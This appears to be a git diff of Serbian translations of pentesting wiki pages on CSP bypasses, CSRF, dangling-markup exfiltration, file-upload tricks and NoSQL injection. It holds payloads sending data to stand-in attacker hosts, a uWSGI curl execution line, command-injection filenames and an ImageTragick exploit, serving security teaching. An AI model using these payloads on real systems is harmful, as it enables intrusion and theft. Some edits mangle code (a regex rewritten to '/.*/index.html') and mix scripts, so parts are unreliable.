SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **u tački pristupa stranice** da **zloupotrebi** **druge tačke pristupa iste domene.** To se postiže učitavanjem ranjive tačke pristupa sa stranice napadača, a zatim osvežavanjem stranice napadača na pravu tačku pristupa u istoj domeni koju želite da zloupotrebite. Na ovaj način **ranjiva tačka pristupa** može koristiti **`opener`** objekat u **payload-u** da **pristupi DOM-u** **prave tačke pristupa koju treba zloupotrebiti**. Za više informacija pogledajte:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
@ -627,12 +627,12 @@ SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **u tački p
Pored toga, **wordpress** ima **JSONP** tačku pristupa u `/wp-json/wp/v2/users/1?_jsonp=data` koja će **odraziti** **podatke** poslati u izlazu (sa ograničenjem samo na slova, brojeve i tačke).
Napadač može zloupotrebiti tu tačku pristupa da **generiše SOME napad** protiv WordPress-a i **ugradi** ga unutar `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` napominjemo da će ovaj **script** biti **učitan** jer je **dozvoljen od 'self'**. Pored toga, i zato što je WordPress instaliran, napadač može zloupotrebiti **SOME napad** kroz **ranjivu** **callback** tačku pristupa koja **zaobilazi CSP** da bi dala više privilegija korisniku, instalirao novi dodatak...\
Napadač može zloupotrebiti tu tačku pristupa da **generiše SOME napad** protiv WordPress-a i **ugradi** ga unutar `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` napominjemo da će ovaj **script** biti **učitan** jer je **dozvoljen od 'self'**. Pored toga, i zato što je WordPress instaliran, napadač može zloupotrebiti **SOME napad** kroz **ranjivu** **callback** tačku pristupa koja **zaobilazi CSP** da bi dala više privilegija korisniku, instalirao novi plugin...\
Za više informacija o tome kako izvesti ovaj napad pogledajte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
Ako postoji stroga CSP koja vam ne dozvoljava da **interagujete sa spoljnim serverima**, postoji nekoliko stvari koje uvek možete uraditi da izvučete informacije.
Ako postoji stroga CSP koja ne dozvoljava da **interagujete sa spoljnim serverima**, postoji nekoliko stvari koje uvek možete uraditi da izvučete informacije.
### Location
@ -662,7 +662,7 @@ body.innerHTML +
sessionid +
'attacker.ch">'
```
Još jedan način:
Drugi način:
```javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
@ -674,13 +674,13 @@ Da bi se izbeglo da se ovo desi, server može poslati HTTP zaglavlje:
X-DNS-Prefetch-Control: off
```
> [!NOTE]
> Очигледно, ова техника не ради у безглавим прегледачима (ботовима)
> Očigledno, ova tehnika ne funkcioniše u headless pretraživačima (botovima)
### WebRTC
На неколико страница можете прочитати да **WebRTC не проверава `connect-src` политику** CSP-а.
Na nekoliko stranica možete pročitati da **WebRTC ne proverava `connect-src` politiku** CSP-a.
У ствари, можете _leak_ информације користећи _DNS захтев_. Погледајте овај код:
U stvari, možete _leak_ informacije koristeći _DNS zahtev_. Pogledajte ovaj kod:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })

View File

@ -107,7 +107,7 @@ onerror="document.forms[0].submit();" />
### Promena Content-Type
Prema [**ovome**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), kako bi se **izbegli preflight** zahtevi koristeći **POST** metodu, ovo su dozvoljene vrednosti Content-Type:
Prema [**ovome**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), kako bi se **izbegli preflight** zahtevi korišćenjem **POST** metode, ovo su dozvoljene vrednosti Content-Type:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
@ -134,23 +134,23 @@ form.submit()
</body>
</html>
```
### Bypassing Preflight Requests for JSON Data
### Obilaženje Preflight Zahteva za JSON Podatke
Kada pokušavate da pošaljete JSON podatke putem POST zahteva, korišćenje `Content-Type: application/json` u HTML formi nije direktno moguće. Slično tome, korišćenje `XMLHttpRequest` za slanje ovog tipa sadržaja pokreće preflight zahtev. Ipak, postoje strategije za potencijalno zaobilaženje ove ograničenja i proveru da li server obrađuje JSON podatke bez obzira na Content-Type:
Kada pokušavate da pošaljete JSON podatke putem POST zahteva, korišćenje `Content-Type: application/json` u HTML formi nije direktno moguće. Slično tome, korišćenje `XMLHttpRequest` za slanje ovog tipa sadržaja pokreće preflight zahtev. Ipak, postoje strategije koje potencijalno mogu da obiju ovo ograničenje i provere da li server obrađuje JSON podatke bez obzira na Content-Type:
1. **Use Alternative Content Types**: Koristite `Content-Type: text/plain` ili `Content-Type: application/x-www-form-urlencoded` postavljanjem `enctype="text/plain"` u formi. Ovaj pristup testira da li backend koristi podatke bez obzira na Content-Type.
2. **Modify Content Type**: Da biste izbegli preflight zahtev dok osiguravate da server prepoznaje sadržaj kao JSON, možete poslati podatke sa `Content-Type: text/plain; application/json`. Ovo ne pokreće preflight zahtev, ali bi moglo biti ispravno obrađeno od strane servera ako je konfigurisan da prihvati `application/json`.
3. **SWF Flash File Utilization**: Manje uobičajena, ali izvodljiva metoda uključuje korišćenje SWF flash datoteke za zaobilaženje takvih ograničenja. Za detaljno razumevanje ove tehnike, pogledajte [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
1. **Koristite Alternativne Tipove Sadržaja**: Koristite `Content-Type: text/plain` ili `Content-Type: application/x-www-form-urlencoded` postavljanjem `enctype="text/plain"` u formi. Ovaj pristup testira da li backend koristi podatke bez obzira na Content-Type.
2. **Izmenite Tip Sadržaja**: Da biste izbegli preflight zahtev dok osiguravate da server prepoznaje sadržaj kao JSON, možete poslati podatke sa `Content-Type: text/plain; application/json`. Ovo ne pokreće preflight zahtev, ali bi moglo biti ispravno obrađeno od strane servera ako je konfigurisan da prihvati `application/json`.
3. **Korišćenje SWF Flash Fajla**: Manje uobičajena, ali izvodljiva metoda uključuje korišćenje SWF flash fajla za obilaženje takvih ograničenja. Za detaljno razumevanje ove tehnike, pogledajte [ovaj post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Referrer / Origin check bypass
### Obilaženje Provere Referrer / Origin
**Avoid Referrer header**
**Izbegnite Referrer zaglavlje**
Aplikacije mogu validirati 'Referer' header samo kada je prisutan. Da biste sprečili pretraživač da pošalje ovaj header, može se koristiti sledeći HTML meta tag:
Aplikacije mogu validirati 'Referer' zaglavlje samo kada je prisutno. Da biste sprečili pretraživač da pošalje ovo zaglavlje, može se koristiti sledeći HTML meta tag:
```xml
<meta name="referrer" content="never">
```
Ovo osigurava da 'Referer' header bude izostavljen, potencijalno zaobilazeći provere validacije u nekim aplikacijama.
Ovo osigurava da 'Referer' zaglavlje bude izostavljeno, potencijalno zaobilazeći provere validacije u nekim aplikacijama.
**Regexp zaobilaženja**
@ -187,19 +187,19 @@ document.forms[0].submit()
</body>
</html>
```
### **HEAD metoda zaobilaženja**
### **HEAD метод заобилажење**
Prvi deo [**ovog CTF izveštaja**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) objašnjava da je [Oak-ov izvorni kod](https://github.com/oakserver/oak/blob/main/router.ts#L281), ruter postavljen da **obrađuje HEAD zahteve kao GET zahteve** bez tela odgovora - uobičajena zaobilaženja koja nisu jedinstvena za Oak. Umesto specifičnog handler-a koji se bavi HEAD zahtevima, oni su jednostavno **prosleđeni GET handler-u, ali aplikacija samo uklanja telo odgovora**.
Први део [**овог CTF извештаја**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) објашњава да је [Oak-ов изворни код](https://github.com/oakserver/oak/blob/main/router.ts#L281), рутер подешен да **обрађује HEAD захтеве као GET захтеве** без тела одговора - уобичајена заобилазница која није јединствена за Oak. Уместо специфичног обрађивача који се бави HEAD захтевима, они су једноставно **дати GET обрађивачу, али апликација само уклања тело одговора**.
Stoga, ako je GET zahtev ograničen, možete jednostavno **poslati HEAD zahtev koji će biti obrađen kao GET zahtev**.
Стога, ако је GET захтев ограничен, можете једноставно **послати HEAD захтев који ће бити обрађен као GET захтев**.
## **Primeri eksploatacije**
## **Примери експлоатације**
### **Ekstrakcija CSRF tokena**
### **Екстракција CSRF токена**
Ako se koristi **CSRF token** kao **odbrana**, možete pokušati da **ekstrahujete** koristeći [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ranjivost ili [**Dangling Markup**](dangling-markup-html-scriptless-injection/) ranjivost.
Ако се **CSRF токен** користи као **одбрана**, можете покушати да **екстрахујете** злоупотребом [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) рањивости или [**Данглинг Маркуп**](dangling-markup-html-scriptless-injection/index.html) рањивости.
### **GET koristeći HTML tagove**
### **GET користећи HTML тагове**
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
@ -588,7 +588,7 @@ room: username,
```
## CSRF Login Brute Force
Kod se može koristiti za Brut Force prijavni obrazac koristeći CSRF token (takođe koristi header X-Forwarded-For da pokuša da zaobiđe moguće IP crne liste):
Kod se može koristiti za Brut Force login formu koristeći CSRF token (takođe koristi header X-Forwarded-For da pokuša da zaobiđe moguće IP blacklistovanje):
```python
import request
import re

View File

@ -4,10 +4,10 @@
## Resume
Ova tehnika se može koristiti za ekstrakciju informacija od korisnika kada se **pronađe HTML injekcija**. Ovo je veoma korisno ako **ne pronađete način da iskoristite** [**XSS** ](../xss-cross-site-scripting/) ali možete **ubaciti neke HTML tagove**.\
Takođe je korisno ako je neka **tajna sačuvana u čistom tekstu** u HTML-u i želite da je **izvučete** od klijenta, ili ako želite da obmanete neku izvršavanje skripte.
Ova tehnika se može koristiti za ekstrakciju informacija od korisnika kada se **HTML injekcija pronađe**. Ovo je veoma korisno ako **ne pronađete način da iskoristite** [**XSS** ](../xss-cross-site-scripting/index.html) ali možete **ubaciti neke HTML tagove**.\
Takođe je korisno ako je neka **tajna sačuvana u čistom tekstu** u HTML-u i želite da je **ekfiltrirate** iz klijenta, ili ako želite da obmanete neku izvršavanje skripte.
Nekoliko tehnika komentisanih ovde može se koristiti za zaobilaženje nekih [**Content Security Policy**](../content-security-policy-csp-bypass/) eksfiltracijom informacija na neočekivane načine (html tagovi, CSS, http-meta tagovi, forme, base...).
Nekoliko tehnika komentisanih ovde može se koristiti za zaobilaženje nekih [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) ekfiltriranjem informacija na neočekivane načine (html tagovi, CSS, http-meta tagovi, forme, base...).
## Main Applications
@ -23,7 +23,7 @@ Ako je `img` tag zabranjen (zbog CSP-a na primer) možete takođe koristiti `<me
```
Napomena da **Chrome blokira HTTP URL-ove** sa "<" ili "\n" u njima, pa možete probati druge protokole kao što je "ftp".
Takođe možete zloupotrebiti CSS `@import` (će poslati sav kod dok ne pronađe ";")
Takođe možete zloupotrebiti CSS `@import` (poslaće sav kod dok ne pronađe ";")
```html
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
@ -32,12 +32,12 @@ Možete takođe koristiti **`<table`**:
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
Možete takođe umetnuti `<base` tag. Sve informacije će biti poslate dok se citat ne zatvori, ali to zahteva neku interakciju korisnika (korisnik mora da klikne na neki link, jer će `<base` tag promeniti domen na koji link upućuje):
Možete takođe umetnuti `<base` tag. Sve informacije će biti poslate dok se citat ne zatvori, ali to zahteva neku interakciju korisnika (korisnik mora kliknuti na neki link, jer će `<base` tag promeniti domen na koji link upućuje):
```html
<base target=' <--- Injected
steal me'<b>test</b>
```
### Krađa obrazaca
### Krađa formi
```html
<base href="http://evil.com/" />
```
@ -88,7 +88,7 @@ Možete promeniti putanju forme i uneti nove vrednosti tako da će se izvršiti
```
### Krađa tajni u čistom tekstu putem noscript
`<noscript></noscript>` je tag čiji sadržaj će biti interpretiran ako pregledač ne podržava javascript (možete omogućiti/isključiti Javascript u Chrome-u na [chrome://settings/content/javascript](chrome://settings/content/javascript)).
`<noscript></noscript>` je tag čiji sadržaj će biti interpretiran ako pregledač ne podržava javascript (možete omogućiti/onemogućiti Javascript u Chrome-u na [chrome://settings/content/javascript](chrome://settings/content/javascript)).
Način da se exfiltrira sadržaj web stranice od tačke injekcije do dna na sajt koji kontroliše napadač biće injektovanje ovog:
```html
@ -102,14 +102,14 @@ Iz ovog [portswiggers istraživanja](https://portswigger.net/research/evading-cs
<base target='
```
Napomena da ćete zamoliti **žrtvu** da **klikne na link** koji će ga **preusmeriti** na **payload** koji kontrolišete. Takođe, imajte na umu da će **`target`** atribut unutar **`base`** taga sadržati **HTML sadržaj** sve do sledeće jednostruke navodnike.\
To će učiniti da će **vrednost** **`window.name`** ako se link klikne biti sav taj **HTML sadržaj**. Stoga, pošto **kontrolišete stranicu** na kojoj žrtva pristupa klikom na link, možete pristupiti tom **`window.name`** i **ekstraktovati** te podatke:
To će učiniti da će **vrednost** **`window.name`** ako se link klikne biti sav taj **HTML sadržaj**. Stoga, pošto **kontrolišete stranicu** na kojoj žrtva pristupa klikom na link, možete pristupiti tom **`window.name`** i **ekfiltrirati** te podatke:
```html
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Zavaravajući tok skripte 1 - HTML napad na imenski prostor
### Zavaravajući tok skripte 1 - HTML namespace napad
Umetnite novu oznaku sa id-jem unutar HTML-a koja će prepisati sledeću i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će informacija biti podeljena:
```html
@ -197,7 +197,7 @@ Nisu svi načini za curenje povezanosti u HTML-u korisni za Dangling Markup, ali
## SS-Leaks
Ovo je **mešavina** između **dangling markup i XS-Leaks**. S jedne strane, ranjivost omogućava **injekciju HTML-a** (ali ne JS) na stranicu **iste domene** koju ćemo napadati. S druge strane, nećemo **napadati** direktno stranicu na koju možemo injektovati HTML, već **druguu stranicu**.
Ovo je **mešavina** između **dangling markup i XS-Leaks**. S jedne strane, ranjivost omogućava **injekciju HTML-a** (ali ne JS) na stranicu **iste domene** kao one koju ćemo napadati. S druge strane, nećemo **napadati** direktno stranicu na kojoj možemo injektovati HTML, već **drugoj stranici**.
{{#ref}}
ss-leaks.md
@ -205,7 +205,7 @@ ss-leaks.md
## XS-Search/XS-Leaks
XS-Search su orijentisani na **ekstrakciju informacija iz različitih domena** zloupotrebom **napada putem bočnih kanala**. Stoga, to je drugačija tehnika od Dangling Markup, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML tagova (sa i bez izvršavanja JS), kao što su [**CSS Injection**](../xs-search/index.html#css-injection) ili [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.**
XS-Search su orijentisani na **ekstrakciju informacija iz različitih domena** zloupotrebom **napada putem sporednih kanala**. Stoga, to je drugačija tehnika od Dangling Markup, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML tagova (sa i bez izvršavanja JS), kao što su [**CSS Injection**](../xs-search/index.html#css-injection) ili [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.**
{{#ref}}
../xs-search/

View File

@ -18,7 +18,7 @@ Other useful extensions:
### Bypass file extensions checks
1. Ako se primenjuju, **proverite** **prethodne ekstenzije.** Takođe ih testirajte koristeći neka **velika slova**: _pHp, .pHP5, .PhAr ..._
2. _Proverite **dodavanje važeće ekstenzije pre** ekstenzije za izvršavanje (koristite prethodne ekstenzije takođe):_
2. _Proverite **dodavanje važeće ekstenzije pre** ekstenzije izvršenja (koristite prethodne ekstenzije takođe):_
- _file.png.php_
- _file.png.Php5_
3. Pokušajte dodati **specijalne karaktere na kraju.** Možete koristiti Burp da **bruteforce** sve **ascii** i **Unicode** karaktere. (_Napomena: takođe možete pokušati da koristite **prethodno** pomenute **ekstenzije**_)
@ -51,7 +51,7 @@ Other useful extensions:
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti ponovo pokrenut (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima prilikom otkrivanja promena.
Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti restartovan (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima prilikom otkrivanja promena.
Ključno je razumeti labav karakter parsiranja konfiguracione datoteke uWSGI-a. Konkretno, diskutovani payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), dodatno proširujući opseg potencijalne eksploatacije.
Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-a. Konkretno, pomenuti payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), čime se dodatno proširuje opseg potencijalne eksploatacije.
## **wget File Upload/SSRF Trick**
U nekim slučajevima možete primetiti da server koristi **`wget`** za **preuzimanje datoteka** i možete **navesti** **URL**. U ovim slučajevima, kod može proveravati da li je ekstenzija preuzetih datoteka unutar bele liste kako bi se osiguralo da se preuzimaju samo dozvoljene datoteke. Međutim, **ova provera se može zaobići.**\
**Maksimalna** dužina **imena datoteke** u **linux-u** je **255**, međutim, **wget** skraćuje imena datoteka na **236** karaktera. Možete **preuzeti datoteku pod nazivom "A"\*232+".php"+".gif"**, ovo ime datoteke će **zaobići** **proveru** (kao u ovom primeru **".gif"** je **važeća** ekstenzija) ali će `wget` **preimenovati** datoteku u **"A"\*232+".php"**.
U nekim slučajevima možete primetiti da server koristi **`wget`** za **preuzimanje datoteka** i možete **navesti** **URL**. U tim slučajevima, kod može proveravati da li je ekstenzija preuzetih datoteka unutar bele liste kako bi se osiguralo da se preuzimaju samo dozvoljene datoteke. Međutim, **ova provera se može zaobići.**\
**Maksimalna** dužina **imena datoteke** u **linux-u** je **255**, međutim, **wget** skraćuje imena datoteka na **236** karaktera. Možete **preuzeti datoteku pod nazivom "A"\*232+".php"+".gif"**, ovo ime datoteke će **zaobići** **proveru** (jer je u ovom primeru **".gif"** **važeća** ekstenzija) ali će `wget` **preimenovati** datoteku u **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru je da napravite da **HTTP server preusmeri na drugu datoteku**, tako da će inicijalni URL zaobići proveru, a zatim će wget preuzeti preusmerenu datoteku sa novim imenom. Ovo **neće raditi** **osim** ako se wget koristi sa **parametrom** `--trust-server-names` jer **wget će preuzeti preusmerenu stranicu sa imenom datoteke naznačenim u originalnom URL-u**.
Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru je da napravite da **HTTP server preusmeri na drugu datoteku**, tako da će inicijalni URL zaobići proveru, a zatim će wget preuzeti preusmerenu datoteku sa novim imenom. Ovo **neće raditi** **osim** ako se wget koristi sa **parametrom** `--trust-server-names` jer **wget će preuzeti preusmerenu stranicu sa imenom datoteke navedenim u originalnom URL-u**.
## Alati
@ -164,23 +164,23 @@ Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru
## Od učitavanja datoteka do drugih ranjivosti
- Postavite **ime datoteke** na `../../../tmp/lol.png` i pokušajte da postignete **putanju prelazaka**
- Postavite **ime datoteke** na `../../../tmp/lol.png` i pokušajte da postignete **putanju prelaza**
- Postavite **ime datoteke** na `sleep(10)-- -.jpg` i možda ćete moći da postignete **SQL injekciju**
- Postavite **ime datoteke** na `<svg onload=alert(document.domain)>` da biste postigli XSS
- Postavite **ime datoteke** na `; sleep 10;` da biste testirali neku injekciju komandi (više [trikova za injekciju komandi ovde](../command-injection.md))
- [**XSS** u uploadu slike (svg) datoteke](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** datoteka **upload** + **XSS** = [**eksploatacija servisnih radnika**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- **JS** datoteka **upload** + **XSS** = [**Eksploatacija servisnih radnika**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE u uploadu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Otvoreno preusmeravanje** putem učitavanja svg datoteke](../open-redirect.md#open-redirect-uploading-svg-files)
- Pokušajte **različite svg payload-e** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Poznata **ImageTrick** ranjivost](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Ako možete **naznačiti web serveru da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe naznačiti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije o svakom posetiocu**.
- Ako možete **da navedete web server da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/index.html). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe navesti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije o svakom posetiocu**.
- [**XXE i CORS** zaobilaženje sa PDF-Adobe uploadom](pdf-upload-xxe-and-cors-bypass.md)
- Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili izvršenje JS-a**](../xss-cross-site-scripting/pdf-injection.md). Ako možete učitati PDF-ove, mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
- Učitajte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da biste proverili da li server ima neki **antivirus**
- Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili izvršenje JS**](../xss-cross-site-scripting/pdf-injection.md). Ako možete da učitate PDF-ove, mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
- Učitajte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da proverite da li server ima neki **antivirus**
- Proverite da li postoji bilo kakvo **ograničenje veličine** prilikom učitavanja datoteka
Evo top 10 liste stvari koje možete postići učitavanjem (sa [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Evo top 10 liste stvari koje možete postići učitavanjem (iz [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -208,7 +208,7 @@ Pogledajte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wi
### Zip/Tar datoteka automatski dekompresovana upload
Ako možete učitati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
Ako možete da učitate ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
#### Symlink
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
```
### Decompress in different folders
Neželjeno kreiranje fajlova u direktorijumima tokom dekompresije je značajan problem. I pored prvobitnih pretpostavki da bi ova postavka mogla da zaštiti od izvršavanja komandi na nivou operativnog sistema putem malicioznih upload-ovanih fajlova, hijerarhijska podrška za kompresiju i mogućnosti prolaska kroz direktorijume ZIP arhiva mogu biti iskorišćene. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulišući funkcionalnošću dekompresije ciljne aplikacije.
Neprijatno kreiranje fajlova u direktorijumima tokom dekompresije je značajan problem. I pored prvobitnih pretpostavki da bi ova postavka mogla da zaštiti od izvršavanja komandi na nivou operativnog sistema putem malicioznih upload-ovanih fajlova, hijerarhijska podrška za kompresiju i mogućnosti prolaska kroz direktorijume ZIP arhiva mogu biti iskorišćene. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulišući funkcionalnošću dekompresije ciljne aplikacije.
Automatizovani exploit za kreiranje takvih fajlova je dostupan na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Alat se može koristiti kao što je prikazano:
```python
@ -280,7 +280,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Otpremite ovaj sadržaj sa ekstenzijom slike kako biste iskoristili ranjivost **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767))
Otpremite ovaj sadržaj sa ekstenzijom slike kako biste iskoristili ranjivost **(ImageMagick , 7.0.1-1)** (iz [eksploita](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480

View File

@ -35,12 +35,12 @@ username[$exists]=true&password[$exists]=true
```javascript
query = { $where: `this.username == '${username}'` }
```
Napadač može iskoristiti ovo unosom stringova kao što su `admin' || 'a'=='a`, čime se upit vraća sve dokumente zadovoljavajući uslov sa tautologijom (`'a'=='a`). Ovo je analogno SQL injection napadima gde se unosi poput `' or 1=1-- -` koriste za manipulaciju SQL upitima. U MongoDB, slične injekcije mogu se izvršiti koristeći unose kao što su `' || 1==1//`, `' || 1==1%00`, ili `admin' || 'a'=='a`.
Napadač može iskoristiti ovo unosom stringova kao što su `admin' || 'a'=='a`, čime se upit vraća sve dokumente zadovoljavajući uslov sa tautologijom (`'a'=='a'`). Ovo je analogno SQL injection napadima gde se unosi poput `' or 1=1-- -` koriste za manipulaciju SQL upitima. U MongoDB, slične injekcije mogu se izvršiti koristeći unose kao što su `' || 1==1//`, `' || 1==1%00`, ili `admin' || 'a'=='a`.
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
```
### Izvuci **dužinu** informacija
### Izvuci **dužinu** informacije
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
@ -67,7 +67,7 @@ in JSON
### **SQL - Mongo**
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
@ -84,7 +84,7 @@ Korišćenjem **$func** operatora iz [MongoLite](https://github.com/agentejo/coc
```
![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png](<../images/image (933).png>)
### Dobijanje informacija iz različitih kolekcija
### Dobijanje informacija iz različite kolekcije
